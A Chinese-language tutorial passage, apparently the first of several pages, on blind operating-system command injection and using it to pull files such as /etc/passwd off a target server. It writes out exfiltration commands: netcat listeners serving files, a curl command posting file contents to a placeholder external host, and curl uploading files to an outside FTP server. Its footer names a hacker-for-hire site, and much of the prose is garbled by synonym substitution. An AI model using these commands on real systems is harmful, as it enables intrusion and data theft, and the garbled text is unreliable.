技能剖析:攻击者是怎么使用体系指令盲注完成“拖库”的
免责声明:本文旨在技能共享,仅供安全学习,制止不合法运用。
在浸透测验或许CTF应战中,你或许会遇到一个需求用户输入文本信息的运用程序,该运用会将用户的输入作为参数传递给一个体系指令或许给底层运转着使命的相关程序。而咱们知道,假如没有对输入的信息进行校验或许过滤,那么该运用就或许被运用来进行“操作体系指令注入”。
关于进犯者来说,他能够经过注入缝隙,运用运用程序的权限来履行指令。在这种布景下,现在咱们在实践的运用事例中,也观察到这种类型的进犯缝隙,存在于许多的运用程序。而针对的运用程序往往是以下的运用类型,例如:
•能够发送邮件到用户指定地址的运用程序。
•能够监控企业服务器运转状况的运用程序
•运用根据用户输入的第三方东西来完结传输陈述的运用程序
在浸透测验或许CTF中,在承认了缝隙之后,你或许开端对方针主机上感兴趣的区域进行勘探剖析了,希望能找到奖杯或许其他有用的信息,如,
操作体系密码文件
操作体系装备文件
数据库文件
运用程序源代码
举一个根本的比如,经过注入Windows指令“type”,作为一个参数进行传递,去读取服务器上的一个文件,最终回来相关文本信息。
许多时分,需求对正在履行的指令作中止。能够幻想一下,一个体系监测运用软件,在监测主机存活状况时,会去ping一个ip地址,检测主机是否在线。那么在体系的底层也会履行用户输入的IP地址,如
ping –c 5 xxx.xxx.xxx.xxx
假如在运用程序现已运转ping指令之后,你还想运转其他指令的话,能够参阅以下的注入指令办法:
在上个比如中,咱们经过“type”指令,在HTTP呼应之后,回来服务器上的相应的文本信息。那么在实践环境中,往往在注入指令之后,没有任何的输出回来,那么打开注入的办法被称为“操作体系指令盲注”。
在这种状况下咱们怎么找到有用的信息?下面将具体介绍一些办法,能够无需上传 web shell 到主机上。
NetCat
第一个比如是经过运用“瑞士军刀”netcat来完成的。信任关于诸位来说,Netcat并不生疏,乃至关于许多人来说,用了良久依然也是爱不释手。简略来说,它是一款能够读、写TCP或UDP网络连接的东西。假如在方针服务器上运转着netcat,那么你能够运用它来树立监听端,然后将输出的体系操作指令重定向到监听端服务器上。
经过以下管道,将文件重定向到监听端上。
nc –l –p {port} {file/to/extract}
这样能从你的主机上连接到方针服务器上的监听端,然后重定向规范输出。以下是展现怎么将 /etc/passwd重定向到主机上的。
假如主机运转的是Windows体系,以及netcat存在相似的进犯或许,能够尝试用下面的指令:
type {file to extract} | nc -L -p {port}
cURL
cURL是一个运用多种协议传输数据的指令行东西和库,是一个十分有用的数据库下载东西。假如方针服务器有 cURL,那么咱们依然能够运用它来post文件到指定的服务器上或许经过其他协议来传输文件,如FTP/SCP/TFTP/TELNET等协议。
在你现已承认了一个体系操作指令注入缝隙之后,要经过 HTTP协议来传输文件,能够运用以下指令来post文件到web服务器上。
cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
履行以上指令后,你能够在服务器日志上看到相关的文件内容。假如在浸透测验中,履行了以上操作, 一起需求web 服务器也保证装备运用ssl,维护客户端数据不被传播到网络上。以下展现了将/etc/passwd内容作为一个恳求回来。
CURL 指令也能够被用来经过FTP来传输文件。相同的,假如你能承认一个操作体系指令注入缝隙时,能够用以下指令来传输文件到 FTP服务器上。
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}
以下是运用FTP将文件从方针服务器传输到FTP服务器上。
当然,cURL也能够运用其他的协议进行传输,如之前说到的SCP, TFTP 或TELNET,这儿就不再一一介绍了。
[1] [2] [3] 黑客接单网